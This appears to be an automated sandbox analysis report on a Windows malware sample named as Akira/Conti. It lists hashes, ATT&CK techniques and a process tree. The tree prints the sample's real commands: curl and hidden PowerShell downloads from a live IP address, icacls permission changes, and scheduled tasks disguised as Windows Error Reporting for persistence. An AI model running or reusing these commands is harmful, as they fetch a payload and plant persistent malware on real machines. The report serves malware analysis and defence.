639a1a0d80c8f02e267db00be6c68101b0c79e9aa6562e35c96659c6cfeae487

Analysis

max time kernel
149s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/10/2026, 11:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe
Size 355KB
Sample261003-nf17vach49
SHA256 639a1a0d80c8f02e267db00be6c68101b0c79e9aa6562e35c96659c6cfeae487
MD5 63d7798fd0f32c1010b4d471a344bb55
SHA1 ab8834bc5e27d84a7593a9b6a166f2fac2aa7a7b
SHA512 9d25ef6de48cac3b07db58ebdf8435fed8d8f68e55d7eb68a637897cc3e2e541a8b02789911f933b91866a01b630142a0db314a888f955b17d12fd6e9f89a2cc
SSDEEP 6144:AwKuSy2+UMlQ7hgRSG58z540Y84tBEJrlemwl/KOiQg/G0EiApcZ6zsF3k:1jpeheSTQ8IEJrAQwcZ6wF0
TLSH
T1B8747D53F6A6A4BCD16AC034931B9573BA33F88E06317DBF12E48A302E55D516F2CB19
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://193.233.247.16:5173/api/file-share/b630a4a0-53c1-4fe6-a36e-a1ef8d073acd/download

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	2912	powershell.exe
10	2912	powershell.exe
11	2912	powershell.exe
11	2912	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe
2912	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3880	WerFault.exe
1104	WerFault.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4108	icacls.exe
1708	icacls.exe
4468	icacls.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6120	schtasks.exe
3468	schtasks.exe
3988	schtasks.exe
1004	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2912	powershell.exe
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2912	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1396 wrote to memory of 5388	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	89
PID 1396 wrote to memory of 2912	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	91
PID 1396 wrote to memory of 4468	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	94
PID 1396 wrote to memory of 4108	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	96
PID 1396 wrote to memory of 1708	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	98
PID 1396 wrote to memory of 2404	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	100
PID 1396 wrote to memory of 2096	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	102
PID 1396 wrote to memory of 6120	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	104
PID 1396 wrote to memory of 3468	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	106
PID 1396 wrote to memory of 3988	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	108
PID 1396 wrote to memory of 1004	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	110
PID 3880 wrote to memory of 4548	3880	WerFault.exe	114
PID 1396 wrote to memory of 1104	1396	2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	14	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -k -L --silent --show-error --output C:\ProgramData\Microsoft\Windows\WER\werdata.db https://193.233.247.16:5173/api/file-share/b630a4a0-53c1-4fe6-a36e-a1ef8d073acd/download
  2⤵
  PID:5388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ProgressPreference='SilentlyContinue'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; [Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; try { Invoke-WebRequest -Uri 'https://193.233.247.16:5173/api/file-share/b630a4a0-53c1-4fe6-a36e-a1ef8d073acd/download' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db' -UseBasicParsing } catch { }; if (-not (Test-Path 'C:\ProgramData\Microsoft\Windows\WER\werdata.db')) { try { (New-Object Net.WebClient).DownloadFile('https://193.233.247.16:5173/api/file-share/b630a4a0-53c1-4fe6-a36e-a1ef8d073acd/download', 'C:\ProgramData\Microsoft\Windows\WER\werdata.db') } catch { } }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /grant Users:RX /C /Q
  2⤵
  - Modifies file permissions
  PID:4468
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\WER\werdata.db /grant Users:RX /C /Q
  2⤵
  - Modifies file permissions
  PID:4108
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\WER /grant Users:(OI)(CI)RX /T /C /Q
  2⤵
  - Modifies file permissions
  PID:1708
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN WindowsErrorReporting /F
  2⤵
  PID:2404
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN WindowsErrorReportingHourly /F
  2⤵
  PID:2096
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN WindowsErrorReporting /XML C:\ProgramData\Microsoft\Windows\WER\wer_onlogon.xml /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6120
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN WindowsErrorReportingHourly /XML C:\ProgramData\Microsoft\Windows\WER\wer_hourly.xml /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3468
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN WindowsErrorReporting /TR C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /SC ONLOGON /IT /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3988
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN WindowsErrorReportingHourly /TR C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /SC HOURLY /MO 2 /IT /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1004
- C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
  "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
  2⤵
  - Executes dropped EXE
  PID:1104

C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3880
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -k -L --silent --show-error --output C:\ProgramData\Microsoft\Windows\WER\werdata.db https://193.233.247.16:5173/api/file-share/b630a4a0-53c1-4fe6-a36e-a1ef8d073acd/download
  2⤵
  PID:4548

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WerFault.exe

Path C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
Size 355KB
SHA256 639a1a0d80c8f02e267db00be6c68101b0c79e9aa6562e35c96659c6cfeae487
MD5 63d7798fd0f32c1010b4d471a344bb55
SHA1 ab8834bc5e27d84a7593a9b6a166f2fac2aa7a7b
SHA512 9d25ef6de48cac3b07db58ebdf8435fed8d8f68e55d7eb68a637897cc3e2e541a8b02789911f933b91866a01b630142a0db314a888f955b17d12fd6e9f89a2cc
SSDEEP 6144:AwKuSy2+UMlQ7hgRSG58z540Y84tBEJrlemwl/KOiQg/G0EiApcZ6zsF3k:1jpeheSTQ8IEJrAQwcZ6wF0
TLSH
T1B8747D53F6A6A4BCD16AC034931B9573BA33F88E06317DBF12E48A302E55D516F2CB19
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wer_hourly.xml

Path C:\ProgramData\Microsoft\Windows\WER\wer_hourly.xml
Size 2KB
SHA256 7b676d2339455cfa6ae63f6b0df804440a781cb96acbf8753219c35346975961
MD5 4d8838c786502a043cc8b3502e6e400f
SHA1 04dc2b5b2d30880cdbd05ee9bedac34b4006e5c2
SHA512 bfea03cb2b2f28a20113bda2ebafcc780fcf10323ad765d844b810d9ce99c8efdb0ea3f2906297ffd0ecc3e5c84f174a13eb88cd88f4d0934e180f6fcda0f386
TLSH
T17F41474367EE1109F1F36B5CAAB754628EA7BC955939C46D00AC250CCBF3D2289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

wer_onlogon.xml

Path C:\ProgramData\Microsoft\Windows\WER\wer_onlogon.xml
Size 2KB
SHA256 fd2a23b21fa7120b1ea49ce7c07e4d8a69ba8a9b87bafc01d8073678f66f638e
MD5 ec65ea5312963e9dbb931edc640aae67
SHA1 74ddd513251813d0c5ade929f684c81760bfe76f
SHA512 4f304d9684ffdc19cdbd4e351984f840f56e77aa519c74e12b2917a1476608e7ce84e86688f4ebcd393e03d74652fe18ace4e2e21b566fc611865fe80c36ae56
TLSH
T17D4147436BEE2109F1F36B5CBAB614218FA7BC554C39C46C00AC250CCAF3D2289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

werdata.db

Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
Size 9.8MB
SHA256 39a7c38ebf6b5e5c24f245535c8fec21b4365c48c13e85645866dbac04726fb7
MD5 da844071477c6b44bd5dca4328db156d
SHA1 548faee41762c6e9aebfeffef36b6bcef8420436
SHA512 0f519cc33c4b0975cddf00a5e4ffd72ca6d20859d342246855c047d8d6949be93d2170ffe466cdc69c4f8addce68d67710c6511e5d362c79c63bb32bb2bb5a5e
SSDEEP 196608:wJUpyjX50X7g0fPWAbljbkMmmdcIMbx9R2L01Ng9568wlWzb:wip8MPWu8LbR2LUN18wwzb
TLSH
T1E7A633A61D3ADA72A9362D2E4B7352A1FF717632DBE3608D1D2C53345019C93BF981C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1104-30-0x00007FF60A170000-0x00007FF60A1D0000-memory.dmp

Download

memory/1396-29-0x00007FF74F840000-0x00007FF74F8A0000-memory.dmp

Download

memory/1396-0-0x00007FF74F840000-0x00007FF74F8A0000-memory.dmp

Download

memory/2912-8-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-10-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-12-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-13-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-15-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-17-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-22-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-11-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-9-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-7-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-6-0x000001BA605B0000-0x000001BA605D2000-memory.dmp

Download

memory/2912-3-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

Download

memory/2912-2-0x00007FFFED53F000-0x00007FFFED540000-memory.dmp

Download

memory/3880-33-0x0000028EE1160000-0x0000028EE1B2A000-memory.dmp

Download

memory/3880-35-0x0000028EE3F00000-0x0000028EE795F000-memory.dmp

Download

memory/3880-36-0x00007FF60A170000-0x00007FF60A1D0000-memory.dmp

Download